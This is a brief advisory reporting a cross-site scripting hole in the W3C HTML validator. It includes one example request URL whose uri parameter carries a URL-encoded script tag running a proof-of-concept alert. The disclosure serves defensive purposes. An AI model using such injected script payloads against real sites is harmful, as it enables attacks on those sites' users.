

[NEWS] W3C HTML Validator XSS Hole

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SUMMARY

A vulnerability exists in the W3C HTML validator that allows for cross-site scripting.

DETAILS

Example:

<http://validator.w3.org/check?charset=%28detect+automatically%29>

[detect+automatically%29&uri=http%3A%2F%2F%3CSCRIPT%3Ealert%28document.URL%29%3C%2FSCRIPT%3E](http://validator.w3.org/check?charset=%28detect+automatically%29&uri=http%3A%2F%2F%3CSCRIPT%3Ealert%28document.URL%29%3C%2FSCRIPT%3E)

ADDITIONAL INFORMATION

The information has been provided by <<mailto:mattmurphy@kc.rr.com>>

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